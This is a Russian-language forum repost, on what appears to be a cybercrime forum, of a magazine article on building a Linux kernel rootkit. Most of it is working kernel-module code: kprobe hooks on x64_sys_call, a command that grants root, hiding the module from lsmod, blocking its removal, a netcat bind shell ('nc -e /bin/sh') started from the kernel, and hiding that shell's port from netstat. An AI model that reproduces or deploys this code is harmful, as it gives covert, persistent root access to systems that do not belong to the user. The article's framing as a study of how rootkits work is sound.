• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Пишем собственный руткит для Linux

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,167
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Руткиты для Linux известны уже довольно давно, они отличаются высокой изощренностью архитектуры, способны эффективно перехватывать системные вызовы и маскировать свое присутствие в системе. Сегодня мы попытаемся написать собственный Linux-руткит, чтобы на его примере изучить ключевые механизмы работы таких вредоносных программ.
Недавно я наткнулся на новость, опубликованную в журнале «Хакер», где говорилось, что обнаружен новый Linux-руткит Pumakit. С ядром ОС Linux я никогда ранее не сталкивался, и идея разобраться в нем буквально поглотила меня. В статье я попытаюсь описать особенности, которые мне удалось выявить при написании собственного руткита под современные ядра Linux версий 5.x и 6.x (x86_64).

Патч, мешающий жить​

Когда я исследовал руткиты для Linux, то неоднократно посещал GitHub в поисках подобных программ, чтобы примерно понимать их структуру и функциональные возможности. И вот что мне бросалось в глаза: практически во всех реализациях руткитов используется метод перехвата syscall’ов путем перезаписи таблицы системных вызовов sys_call_table.

Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Однако с недавнего времени этот метод больше не работает, поскольку сообщество Linux-разработчиков Для просмотра ссылки Войди или Зарегистрируйся, при котором упомянутая таблица не используется:

The sys_call_table is no longer used for system calls, but kernel/trace/trace_syscalls.c still wants to know the system call address.

Kprobes всему голова​

Ядро Linux напичкано не только всякими жизнетворящими вещами, оно также имеет в своем арсенале механизмы отладки, которые поддерживаются из ядра в ядро. С версии 2.6.9 в Linux kernel появился kprobes. Kprobes — это средство динамической отладки ядра, позволяющее ставить breakpoints на доступные для записи участки памяти и самостоятельно обрабатывать их.

Для просмотра ссылки Войди или Зарегистрируйся
Синтаксис механизма отладки довольно простой:

Код:
// Структура kprobe описана в файле include/linux/kprobes.h
static struct kprobe  un = {
    // Место, куда мы будем ставить бряк (экспортированный ядром символ)
    .symbol_name = "kernel_clone",
    // Обработчик бряка
    .pre_handler = intercept,
};


static int __init init(void) {
// Регистрируем «пробу»
register_kprobe(&un);
...
}


static void __exit bye(void) {
// Удаляем «пробу»
unregister_kprobe(&un);
...
}
Кстати, посмотреть, экспортирован ядром символ или нет, можно, прочитав файл kallsyms:

cat /proc/kallsyms | grep "имя символа"

Перехватываем x64_sys_call​

Популярный руткит diamorphine для общения с пользователем использует перехваченный syscall — kill. Однако для этого он ставит хук на sys_call_table, что уже неактуально. Как же тогда отслеживать системные вызовы? Ответ прост: перехват x64_sys_call.

Все дело в том, что x64_sys_call участвует при вызове любого «сискола». Это некая обертка над каждым системным вызовом, подключающая макросы, в качестве которых реализованы системные вызовы.

Код:
// regs — аргументы системного вызова
// nr — номер системного вызова
long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
    switch (nr) {
    // Здесь находятся системные вызовы в качестве макросов вида SYSCALL_DEFINEX(name, args...),
    // где X — количество аргументов в syscall’e
    #include <asm/syscalls_64.h>


    default: return __x64_sys_ni_syscall(regs);
    }
};
Важно отметить, что x64_sys_call также экспортирована ядром.

Для просмотра ссылки Войди или Зарегистрируйся
Отлично, теперь осталось использовать это для организации общения с пользователем. Присмотримся к команде echo.

Для просмотра ссылки Войди или Зарегистрируйся
Echo использует в своей работе write — как раз то, что нам и нужно. Подытожив сказанное, напишем обработчик команд пользователя:

Код:
// Идентификатор команды, которую будет отлавливать обработчик команд
#define ROOT "wanna_root"


// Наша проба
static struct kprobe  un = {
    .symbol_name = "x64_sys_call",
    // Обработчик
    .pre_handler = intercept,
};


static int intercept(struct kprobe *p,  struct pt_regs *regs) {
        // Проверяем номер системного вызова, передаваемый в x64_sys_call
        if (regs->si == __NR_write){
             // Сохраняем параметры, передаваемые вместе с write
             struct pt_regs *pRegs = (struct pt_regs*)regs->di;
            // Если текст, переданный в echo, совпадает с именем команды, то обрабатываем ее
            if (!strncmp( (const char*)(pRegs->si) , ROOT ,10)) {
...

Функция, выполняемая при загрузке модуля
Код:
static int __init init(void) {
...
int err;
    err = register_kprobe(&un);
    if (err < 0) {
        pr_err("Failed to register kprobe, error: %d\n", err);
        return err;
    }
...
}
Здесь нам не нужно использовать copy_from_user, поскольку информация уже находится в режиме ядра.

Повышаем привилегии и удаляем себя из списка загруженных модулей​

Все системные вызовы осуществляются в контексте процесса, то есть мы можем получить доступ к памяти, окружению процесса в момент выполнения syscall’a. Каждый процесс олицетворяется в ядре структурой struct task_struct, которая имеет довольно внушительный размер. Внутри этой структуры есть поле, отвечающее за привилегии процесса, к которому мы можем обратиться.

Для просмотра ссылки Войди или Зарегистрируйся
Поскольку мы находимся в режиме ядра, то особых проблем с повышением привилегий не имеем. Достаточно просто заменить эту структурку своей, и вуаля!

Код:
static int root_func(void){
    struct cred *newcreds;
    // Инициализация структуры
    newcreds = prepare_creds();
    if (newcreds == NULL){
    pr_alert("can't prepare creds\n");
        return 1;
    }
    // Выдаем себе рут
    newcreds->uid.val = newcreds->gid.val = 0;
    // euid и egid — «эффективные» привилегии, то есть привилегии запущенного процесса
    newcreds->euid.val = newcreds->egid.val = 0;
    newcreds->suid.val = newcreds->sgid.val = 0;
    newcreds->fsuid.val = newcreds->fsgid.val = 0;


    // Вносим свои изменения
    commit_creds(newcreds);
    return 0;


}

Чтобы избежать конфликта, при разработке ядерных модулей следует описывать все свои функции и глобальные переменные с приставкой static. Это необходимо, поскольку ядро экспортирует все символы в глобальную область видимости и пользователь может вызвать своим неаккуратным поведением конфликт имен.

Что касается самоудаления из списка загруженных модулей — дело нескольких строчек кода. Наш руткит представляет собой kernel object file, который также представлен своей структурой в памяти ядра. Мы просто удаляем себя из связного списка загруженных модулей:

Код:
// Прячемся от команды lsmod — команды, выводящей все загруженные в память модули
static inline void  hide_func(void){
    // THIS_MODULE — глобальный макрос, позволяющий обратиться к структуре своего модуля
    // Поле list — связный список загруженных в память ядра модулей
    module_previous = THIS_MODULE->list.prev;


    // unlink
    module_previous->next = THIS_MODULE->list.next;
    hidden=1;
}


// Возвращаемся в строй
static inline void  show_func(void){
    // Нужно, чтобы не словить segfault
    if (module_previous !=NULL && hidden==1){
        module_previous->next = &THIS_MODULE->list;
        hidden=0;
    }
}
Важно отметить, что в других реализациях руткитов используется функция list_del, удаляющая элемент из списка, однако с недавнего времени в нее добавили проверку на list corruption, поэтому мы осуществляем unlink нашего модуля вручную.


Увеличиваем счетчик ссылок на модуль​

В структуре нашего модуля (структура описана в файле /linux/module.h) есть волшебное поле refcnt, которое «отражает популярность» нашего модуля. Оно показывает, сколько компонентов системы использует этот модуль в данный момент.

При удалении модуля из списка система проверяет это поле, и если оно оказывается положительным, то модуль из ядра не удаляется. По умолчанию значение равно 1, но мы можем изменить его:


Код:
static inline void no_rm_func(void){
    atomic_t *pRefcnt = &THIS_MODULE->refcnt;
    // В ядре Linux для атомарных данных предусмотрен свой интерфейс
    atomic_set(pRefcnt, 1337);
}


static inline void yes_rm_func(void){
    atomic_t *pRefcnt = &THIS_MODULE->refcnt;
    // Возвращаем в исходное состояние
    atomic_set(pRefcnt, 1);
}

Реализуем бэкдор и прячемся от netstat​


Бэкдор​

Попробуем повесить шелл на порт сразу же при загрузке руткита в ядро. Для этого нам нужно научиться находить свободный порт в системе. Заглянем в ядро и посмотрим описание протокола TCPv4.

Для просмотра ссылки Войди или Зарегистрируйся
В TCPv4 для этих целей используется функция inet_csk_get_port(struct *sock, int port), которая возвращает 0, если указанный port свободен.

Напишем функцию, которая ищет свободный порт в системе.

Код:
static int getFreePort(void){
    // Создаем временный сокет, чтобы найти свободный порт
    sock_create_kern(&init_net, PF_INET, SOCK_STREAM, IPPROTO_TCP, &sock_tmp);


    // Получаем инициализированную структуру sock
    sk = sock_tmp->sk;


    int candidate = 1024;
    int max_port = 65536;


    for (int i = candidate; i < max_port; i++) {
        // Если порт свободен...
        if (!inet_csk_get_port(sk, i) ) {
            candidate = i;
            // ...освобождаем временный сокет, необходимый для определения свободного порта
            sock_release(sock_tmp);
            sk       = NULL;
            sock_tmp = NULL;
        pr_info("candidate: %d\n", candidate);
            return candidate;
        }
    }
    pr_info("BAD: %d\n", candidate);
    return -1;
}
Свободный порт мы определять научились, остается повесить на него шелл:

Код:
// candidate — порт, на который вешается шелл
static void run_shell_nodelay(int candidate){
    char tmp[100];
    // Вешаем шелл на порт
    snprintf(tmp, sizeof(tmp), "nc -e /bin/sh -p %d -l", candidate);
    argv[2] = tmp;
    // Директория, в которой будет осуществляться поиск необходимых бинарников
    static char *envp[] = {"PATH=/bin:/sbin",NULL};


    // call_usermodehelper запускает процесс в пространстве пользователя
    // Флаг UMH_WAIT_EXEC заставляет ядро только ждать выполнения команды, не более
    if (call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC))
        pr_alert("umodehlpr returned error\n");
}

Вызов функции call_usermodehelper совместно с использованием механизма kprobes существенно влияет на простой ядра, поскольку в первом случае ядро должно выполнить дорогостоящие операции по созданию и инициализации пользовательского процесса, а во втором блокируются прерывания на процессоре, чтобы обеспечить целостность перехвата функций.

Для полноты картины я приведу также код, реализующий шелл по запросу пользователя.

Код:
static int shll_func(const char *from_user_port){


    char buf[10] = {'\x00','\x00','\x00','\x00','\x00','\x00','\x00','\x00','\x00','\x00'};
    char* endptr = "\x00";


    // Парсим порт, который нам передал пользователь
    strncpy(buf, from_user_port + 11 , 5);
    port = simple_strtoul(buf, &endptr , 10);
    pr_info("port is: %lu\n",port);


    if (port < 1024 || port > 65536)
        return -1;


    // Ставим run_shell_delay в глобальную очередь ядра schedule_work(&wrk);    для отложенного выполнения
    INIT_WORK(&wrk, run_shell_delay);


    return 0;
}

Netstat​

Netstat в своей сущности представляет команду, дергающую каждый раз функцию tcp4_seq_show(), которая выводит на экран информацию о существующих соединениях.

Для просмотра ссылки Войди или Зарегистрируйся
Обрати внимание на начало функции:

Код:
// Сокет, с которого будет срисована информация
struct sock *sk = v;


    seq_setwidth(seq, TMPSZ - 1);
    // Если сокет будет иметь значение SEQ_START_TOKEN, то вместо него на экран будет выведена начальная строка
    if (v == SEQ_START_TOKEN) {
        seq_puts(seq, "  sl  local_address rem_address   st tx_queue "
               "rx_queue tr tm->when retrnsmt   uid  timeout "
               "inode");
        goto out;
    }

Попробуем воспользоваться этим для маскировки своего шелла:

static int tcp_hid_func(struct kprobe *p,  struct pt_regs *regs){


    // Если запись из netstat не является заголовком, выводимым командой
   if (regs->si != SEQ_START_TOKEN) {


    // Получаем сокет, информация о котором должна вывестись на экран
    struct sock *sk = (struct sock *)regs->si;


        // Прячем необходимое соединение
        if (sk && sk->sk_num == hid_port) {
            // Здесь грязный хак... Говорим, что это заголовок команды netstat :)
            regs->si = (unsigned long)SEQ_START_TOKEN;
        }
   }
    return 0;
}

Для просмотра ссылки Войди или Зарегистрируйся

Как еще улучшить руткит?​

На самом деле есть еще куча моментов, которые можно улучшить. К примеру, руткит написан под x86_64, функция getFreePort не гарантирует, что найденный свободный порт будет свободен в момент «вешания» на него шелла, единовременно может быть замаскирован только один порт, а команда nc имеет опцию -e не во всех дистрибутивах, из‑за чего придется качать ncat и допиливать код. В общем, все в твоих руках.

Подводя итог статьи, хочу отметить, что ядро — опенсорсный проект, поэтому его изучение приносит лишь удовольствие, а наличие посвященных этой теме основательных трудов великих авторов позволяет исследователям уверенно «идти на свет»

xakep.ru/2025/03/20/linux-rootkit
 
Activity
So far there's no one here